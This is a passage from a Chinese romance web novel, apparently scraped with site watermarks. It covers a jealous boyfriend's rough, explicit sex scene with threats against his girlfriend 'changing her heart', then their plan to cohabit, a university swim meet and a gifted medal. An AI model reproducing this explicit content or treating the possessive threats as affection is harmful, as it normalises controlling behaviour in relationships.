五天不见,她自然想不到这事会和自己有关,眼睛转了一下,很快就归结于他不在自己身边时也知道要恪守男德!立刻笑着赞扬:“我说这样很好!” 时霁嗤了一声,看向她放在腿上的相机,还是不舒坦:“你倒是做两件我觉得很好的事呢?” 喻了了一想,还真有:“你们是不是快运动会了?” 时霁愣了下:“你怎么知道?” 喻了了嘿了声,非常得意地扬起下巴:“上有呀!去年追你之前我就看到了,那一整排霸屏的第一名,简直酷毙了!我当时就想,要是能亲眼看到你比赛就好了。” 说着便凑近了些,兴致勃勃地问:“所以你今年也会参加吧?” 他却冷不丁道:“不去。” “啊?”喻了了呆住:“为什么呀?” 他眉梢轻抬,故意道:“不想去。” “……” 他静默注视着她,心道如果她能像那天丢奖牌一样,一下车就把这个破相机丢进有害垃圾桶,其实也不是完全不能考虑。 然而下一秒,她竟还反向埋怨起来:“可是我都已经想好了,要把叶泽洋发的那些资料学一下,到时候带着这个相机过去给你拍照啊!” 时霁骤然冷脸:“……” 现在是收别的男人的礼物不够,还要天天看那家伙发的资料,再带着这破玩意儿,去他的场子里给他拍照???- 此后全程时霁都没再说话,一连攒了几天要“收拾”她的积怨,也在她无知无畏地抱着箱子进屋时直达顶峰。 喻了了正低头脱鞋,怀里的东西就冷不丁被抽走,而后砰地一下磕放在玄关柜上,刚一抬头,整个人又骤然失重,惊呼着倒挂在他身上。 时霁拦腰将人扛起,几步回到卧室后,又一把丢放到床上,而后浑身低压地欺身,将她双手箍在头顶,贴合着曲线倾覆下去,发狠咬住她的唇瓣,大掌在辗转间撕扯,转瞬便拢住温软,力道深沉的揉捻。 黑暗颠覆理智,允许一切发生。 喻了了仰着脖颈,被亲得晕头转向,舌根发麻,还不及反应,身体就又在混乱间交融,在感知里起伏。 她抓着他的头发,被突如其来的撞击砸得想要尖叫,声音却尽数被堵在喉咙,只剩下抵御时的呜咽,违逆本意地激起他最深层的破坏欲。 舌尖不知何时开始泛起血腥,汗水亦混杂在不可名状的粘稠里,一步步将人推行至欲望的深海。 她在海浪中艰难喘息,蓄泪的眼底逐渐失焦,整个人都不住地想向他靠近,急切地要寻觅某种解脱,他却在这时忽然松开她的唇,动作也慢了下来,单手撑在身侧,虚伏着俯瞰她对自己的渴望。 喻了了以为他是累了,虽然有点艰难,却还是动了动腿,想翻身自己去找,却被他摁着腰扣在原地,不许动弹。 他清浅地律动着,连声音都松懒下来,像随意聊天那样喊她:“喻了了。” “……” 她面泛潮红,不明所以地抬头,想问他为什么不用力了,吐字却无端有些艰难。 整个人更像是被架在云端,明明差一步就能抵达天堂,却不知道为什么暂时只能待在这里,虽然也很舒服,却又不得不绷紧神经,努力地维系着某种平衡,以免不小心从天上掉下去。 他却还有心情闲聊,像从没想过这个问题般,慢悠悠地问她:“你喜欢我什么?” 她煎熬不已,紧紧攀着他肩膀的样子更有些无助,一时没能分神辨别他眼底的恶劣,也无从思考这个问题所包含的奥义,好半晌,才轻喘着挤出点绵软又坚忍的声音:“好……好看啊。” 这就是最直接的原因。 因为对他一见钟情,才会有后面的故事。 时霁漫不经心地“嗯”了声,听不出对这个答案认可与否,只慢慢磨着她:“那要是,以后碰上了比我更好看的人呢?” “……啊?” 喻了了眨了眨眼,因为从没想过这个问题而有些茫然,可现在的状况又不允许她过多思考,神情一时就显得有些为难。 看在时霁眼里,自然就成了某种罪证,他蓦地囊住她的下巴,冷笑了下,声音极冷:“居然还敢犹豫。” “……” “不是唔——”喻了了隐隐觉察到一丝危险,还想再解释些什么,刚一开口,本就脆弱的声音就骤然被一个报复性地亲吻吞没。 她眉心紧拧,止不住地溢出声音,长时间待在界点的困境却迎刃而解。 时霁咬住她的下巴,裹着散不去的低压沉沉坠入,给她的同时更不忘警告:“喻了了。” “敢变心你就死定了!”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第55章【正文完】 第55章 第55章保管。(正文…… 多数时候,自制力这种东西都很难在喻了了身上体现,及时行乐才是她的人生信条,开心就笑,喜欢就要,哪怕就只剩下一口气,也都得先把这口气用完了再说。 至于后果什么的,会很严重吗? 不知道,那就等事后再说。 本来就心志不坚,又碰上男朋友的特殊期,不知道为什么整晚都在生气,莫名其妙问了一堆问题,还怎么哄都哄不好,搞得她只能一次次地拿自己献祭。 所以这晚毫无意外,又折腾到天了亮。 喻了了身体严重透支,连做梦都在低吟喘息,熟睡时翻了个身,又被浑身散架似的酸疼激起一阵闷痛,拧眉睁了下眼,隐约收录进一道意味不明的目光时,被面下细微的摩挲也变得具体。 刚合上的眼睛又猝然睁大,无声对峙几秒,大脑还没反应过来,身体就应激地扑了过去! 她强打着精神,一把捧住他的脸,从额头到下巴猛亲了十几口,用一种坚定的不能再坚定的语气说:“我喜欢你,只喜欢你,最喜欢你,超级无敌巨巨巨喜欢你!永远都不会腻,也绝对不可能变心——” 一口气表玩八百句忠心后,才终于丧着脸,弱弱地切进正题:“所以我们先不来了好不好?不然我可能真的会没命喜欢你太长时间啊呜呜呜……” 时霁眉梢轻挑,手掌伸出被面,捏了下她的后颈:“真的?” “真的真的!”喻了了用力点头,还是很警觉地压着人:“真的不能再真的那种真!” 他笑得胸腔轻颤,又揉着脑袋把人摁在怀里:“饿么?” 感觉到危机解除,她这才卸气般倒下去,眼皮也沉沉耷拉下来,埋他肩胛的声音闷闷的:“饿的……但我还是好困啊,想先睡觉。” “嗯。” 时霁轻拍着她的背翻了个身,唇瓣贴着她的眉心,侧抱着人说:“睡吧。” …… 再有意识已经是两小时后了。 喻了了饥肠辘辘,浑身乏力地往边上捞了一把,却意外捕了个空,费劲撩起眼皮,又四下看了一圈,还是没人。 昏暗室内仅有窗缝漏进来的一点微光,紧闭的房门锁住发酵了整夜的旖旎,被面下细微的粘稠将身体浸泡滋养,呼吸之间,都还是暴烈温存过的暧昧味道。 仿佛一切才刚刚开始,他们都还置身其中。 她茫然望着空气,发 了好一会儿的呆,直到隐约能听到门外的动静,才偏了偏头,打算起床出去找人,无奈身体又饥又累,翻身时牵动后腰,整个人瞬间就被某种过度透支的力量反噬,身体像被掏空一样靡软下来,动都不想动。 她痛苦地闷哼了声,又摆烂似的瘫了半晌,终于把手探出被窝,摸起手机,隔着道门给人打电话。 时霁拿着响铃的手机开门时,看到的就是一张隐在昏暗里的郁闷小脸,如瀑长发散开,两颊依稀可见未尽的潮红,转醒时的声音软糯,口吻是赖皮式的撒娇:“时霁,我好饿啊。” 他喉结轻滚,刚静下不久的心又开始翻涌,开口时嗓音黯哑:“饭做好了,起来吃。” 她咕哝了下,还是没动:“但是我没力气。” 意思再明显不过。 时霁默了两秒,才一副拿她没办法的样子,转身从衣柜里取了件白T,又走过去把人从被窝里捞出来,抱在怀里,目不转睛地给她穿。 喻了了:“……” 虽然她就是这个意思,但这会儿意识清醒,他又盯得那么直白,她多少就还是有点儿脸热,更别说T恤下面还什么都没有。 套好之后,他又抱着人往浴室走,单手箍着腰把人托放在镜台前,再把牙膏挤好送到嘴边后,就这么对着镜子,饶有兴味地看她刷牙,覆在腰际的大手有一下没一下地摩挲。 她垂着眼睛,不太敢看镜子,神情也难得有些扭捏,只觉得腿上空荡荡的,衣服领口也有点大,被揉皱之后好像又短了不少,穿了就跟没穿一样。 终于没忍住,伸手捏着衣摆,悄悄往下扯了一点。 时霁将她的小动作看在眼里,浸笑的嗓音愈发耐人寻味:“都看过了。” 喻了了含着牙刷,嘴硬道:“我又没说什么。” 他笑起来,动情地咬住她的后颈:“你衣服拿去洗了,还在烘干。” “……哦。”- 春日午后,阳光细碎像一层浅色金箔,暖融融地点缀桌角,给本就卖相极佳地菜肴铺上零星金光。 喻了了一口气喝完整碗热烫,又一口芋头一口排骨地炫到了九分饱,才心满意足地摸摸肚子,又摇头晃脑地看看家里的布局,看看空间的陈设,看看的面前的男朋友,视线对上,不自觉就弯起眼睛。 “笑什么。”时霁被盯得莫名。 喻了了嘿了一下,有点儿不好意思,但也没有很多地说:“感觉我们这样,有点像新婚夫妻欸。” 时霁眸光微顿,想到什么,顺着她的话说:“那要不要搬过来?” “啊?”喻了了愣住,神情因为从没想过这个概念而有点迷糊,像在做阅读理解一样问:“你是说同居吗?” 时霁见状,面色稍沉了些,转瞬又是昨晚那副一言不合就风雨欲来的神色,声音亦有些凉凉:“不愿意?” “……” 喻了了没来由地哆嗦了下,想都没想就疯狂摆手,反正不管怎么样先保命要紧地说:“不是不是!怎么可能不愿意啊!我就是——就是……”根本就还没想过这个问题哇啊啊啊!!! 时霁抬了抬下巴,一脸“你慢慢编,我有的是时间等”的样子审视她。 “……” 喻了了赶紧梗住脖子催促自己,死脑快转啊! 然后就发现,人在高危情况下好像真的会变傻,同居这么好的事情,每天都能见面不说,想干嘛的时候也能立刻就干嘛,到底有什么好犹豫的? 这么一想,她顿时就大义凛然,连说话都有底气了:“我肯定是愿意的啊,但是可能得等老喻出差之后才可以。” “?”时霁一时都有点分辨不了这算不算是借口:“你知不知道,同居和私奔是有区别的。” 还得避着人。 跟他玩偷情呢? “当然知道啊!” 她仰着下巴,一脸“我很聪明的好吧”的样子,但很快又低下头来:“可是我不想跟他说,又不能说都没说就直接搬。” 惯性使然,她做事从来不会跟他沟通,因为往往还没开口就能预见自己挨骂的场面,所以不管干什么都习惯背着他,最好的结果当然是不被发现,但要是实在瞒不住,那就等事到临头再短兵相见。 不仅是她,喻坚强自己也是这样,从来不知沟通为何物,而这就是他们之间在天长地久的磨合中,形成的最简单与和平的相处模式。 互不干涉,就勉强还能继续做塑料父女。 时霁深思了会儿,顶着张要苛责她的脸,冷不丁就道:“那他什么时候出差。” “不知道。”喻了了摇头:“但是应该快了,他那人闲不住,一闲就浑身不舒坦,所以每年都会主动要求外勤,这次都算间隔比较久的了。” 虽然也有可能是在家待太久容易被气出高血压,但她绝不可能承认这事与自己有关! 她嘴上是在说服时霁,说完后自己却叹了口气,因为她本质就是个刻不容缓的急性子,既然已经决定要搬,多拖一天都是煎熬,现在就恨不能一个电话过去,问问喻坚强到底准备什么时候走! 而这显然是行不通的,因为她的“关心”对他来说,根本无异于“此地无银”,但凡开口,那就和直接告诉他“我有点事需要你回避一下”没差,简直就是把自己送上门去找他的骂。 “那先把行李搬点过来?”时霁扫了眼她身上松松垮垮的衣服,不动声色地堵住退路:“起码过来住的时候有的换洗。” 喻了了觉得他真的想得很周到,重重点头:“好!”- 这天之后,喻了了但凡有点空,就会在家里瞎转悠,思索着先把哪些东西搬走,才能既应急又不引人注目。 刚开始还比较小心,等运了几趟还是没被发现之后,野心就渐渐大了起来。 某天喻坚强路过,见她一贯乱得仿佛垃圾堆的房间,突然变得空空荡荡,登时便一副职业生涯遭到挑衅的模样,横眉倒竖:“家里进贼了?” 喻了了很想点头,直接把锅甩给小偷,又怕他真的查起来,自己当场就得露馅,最后只能借口说是在断舍离,没想到居然还得到了个赞赏的眼神:“早该把你这垃圾堆给收收了。” “……” 好处是问题迎刃而解。 坏处是真的不能继续搬了…… 就这么安分守己地苟了几天,在终于得到他确定出差的消息时,长济的运动会也正式拉开了序幕。 喻了了久违地起了大早,给自己化了个清透的妆面,又换上一身白色休闲服后,就扛着相机冲到现场,如愿坐进了家属区,和大家一起见证庄严整肃的开幕式。 结束后便直奔游泳项目的比赛场馆,坐在前排的观众席间,扒着栏杆望向内场。 时霁本来是拒绝参赛的,但耐不住女朋友软磨硬泡,整天捧着个相机说自己要是不去她就白学了,最后就还是抱着“等满足完她的拍摄愿望就得想办法让她把那破玩意儿扔了”的心态,勉为其难地报了个没人愿意去的1500米。 因为这事,他已经有小半个月都没能把人拐到家里过了,前两天亲到半路,都准备直接在边上开个房了,她竟然还能硬生生叫停,把人和车一起丢在路边,拍拍屁股就跑路了。 这事发生多久他就气了多久,这两天视频通话,不管她怎么撒娇耍赖也都没什么好脸色,问就是做不了就别撩,一直到这会儿都还冷着脸,一副绝不可能就这么轻易算了的样子,从通道入场。 1500的比赛靠后,在这之前,喻了了已经看了几场50、100和800米的比赛,然而说实话,整体观感比较一般。 可能因为并非职业选手,竞技的激烈程度和平时在电视里看到的还是存在一定差距,甚至场上有很大一部分人,游的都还没 有她快,以至于她从今天起床开始就格外高涨的情绪,也有很明显的回落,状态也从扒着栏杆翘首以盼,变成趴在栏杆上无聊守望。 直到广播终于开始播报1500米即将开始,才重新坐直,睁大眼睛往通道入口看去,没等看到人,边上先传来一阵尖叫:“啊啊啊开始了开始了——” “这场真的会有时霁吗?我怎么听说他今年好像不比了啊。” “一手消息!本来是不比了,后来听说是被女朋友闹的补了个1500。” “一手消息?他自己说的?” “是的!”说话的人一脸痛心疾首:“那天在食堂吃饭,我听他和几个同事聊到的,靠!你们是没看到,他嘴上说的是不想比,但那一脸‘女朋友非要我去我也没办法呀’的嘴脸,当谁看不出来啊!!! “真的假的啊?”其余几人听得如梦似幻:“我到现在都不太相信他真的有女朋友了,不一直说是同性恋吗?” “谣言误我啊!早知道是假的,还有她女朋友什么事啊?” “好崩溃!所以到底是哪个天杀的传的这种消息,害我都错过了什么?!!” “……” 喻了了不由扭头看过去,很想告诉她们没错我就是你们说的那个女朋友,以及错过了就是错过了,请你们以后也不要再惦记我男朋友了。 然而那头正忙着伤怀,压根没人肯分一个眼神给她。 正当这时,选手们一一自通道入场,当看到那道单是海拔就在一群人中脱颖而出的身影时,她立刻就把这事抛诸脑后,举着相机站起来,兴奋地冲那头喊:“时霁!看这边——” 话音落下,半分钟前才决议要冷脸到底的人,视线才刚一触及那道活蹦乱跳的身影,就一秒破功,偏头失笑出声:“嗤——” “嘿……”喻了了见他笑,自己也笑得更明朗了,同时调整的相机的角度,将这段影响完整收入进镜头。 说起来,连她自己也觉得有点儿神奇,明明早就已经将他全身上下都看了个遍,却还是像对看他游泳这件事有执念一样,一秒都移不开目光。 这会儿在大庭广众下,看着他长手长脚、劲瘦紧实,浑身力量感的样子,心里溢出的占有欲,竟然也完全不比在床上少,甚至已经开始畅想一会儿结束后要对他做什么了,神情一度专注到连边上那几个女生盯着她的视线都没有注意到。 准备提示响起,时霁抬腿站上出发台,俯身弓腰的同时,边上的同事忽然侃了句:“女朋友啊?” 他稍稍侧目,唇角有点难压:“嗯,女朋友。” 已经有点地中海的同事哎了一声,摇头感叹:“年轻真好啊……” 而后出发声响,其余7人同时跃入泳道,本就到了凡事都急不得的年纪的同事,一不小心又慢了众人一步,左右环顾了下,赶紧也青蛙跳水一样扑进去,引得席间一阵逗笑。 喻了了也跟着笑个不停,但很快就收敛注意力,看向自出发起就快人半个身位的男朋友,目光一路追随。 虽然他的速度同样不比专业运动员,但在业余选手里绝对算得上顶尖,泳姿标准,划水效率很高,且每一次滑行都轻松流畅,游刃有余,不多时就把第二名套了个圈。 她刚开始还会计算领先距离,没多久就完全只剩下观赏。 因为结果根本就毫无悬念。 至多不过五分钟,长臂触及池壁,冠军由此诞生。 滑行终止,他站在水中甩了甩头,而后脱掉泳帽,对着镜头的方向勾唇,仿佛正对着那头有些失神的人说:满意了吗。 …… 领奖结束。 时霁换回黑色休闲服,戴上眼镜,顶着还未干透的头发出了场馆,在附近的一张长椅上找到了人。 喻了了抬头,很兴奋地把相机递给他看:“我全都拍到了,一秒没落,超级帅!” “嗯。”看在她是在夸自己的份上,时霁暂且只是把相机收起来,眼不见为净地说:“走吧。” 喻了了问:“去哪儿?” 他淡淡道:“搬家。” “啊?”她愣了愣:“现在就搬吗?” “……” 他眸光微顿,没什么表情地看她。 喻了了警觉地哽了一下,很快就一脸郑重地下结论:“就现在!我现在立刻马上就必须要搬!” 他轻哂了下,还算满意地拉着人起身,而后像是奖励般从兜里摸出个奖牌,慢条斯理地挂在她身上。 喻了了抬眼:“是要送给我吗?” 时霁对她时常问些显而易见的问题表示无奈,却还是嗯了一声,轻抬眉梢:“好好保管。” “要是丢了,我可是会生气的。” 喻了了滞住,又很快笑开:“所以这算是什么?” 他也笑:“定情信物。” “可是我送给你的,你都丢掉过好几次!”她哼了声说。 “我的错。”他揉着她的后颈,把人带向自己。 “那我也要丢!” “你试试。”他眸色压低。 “你是在警告我吗?”她叉腰看他。 “算是。”他扬了扬眉。 “那我要是丢了会怎么样?”她莫名就较起了劲。 他顿了下,意有所指道:“报警?” “啊……” 她拧了拧眉,一脸你真的好狠的样子,赌气偏头:“那还是算了。” “要丢也行。” 他笑着把人揉进怀里,低声妥协:“但你得告诉我丢哪儿了。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&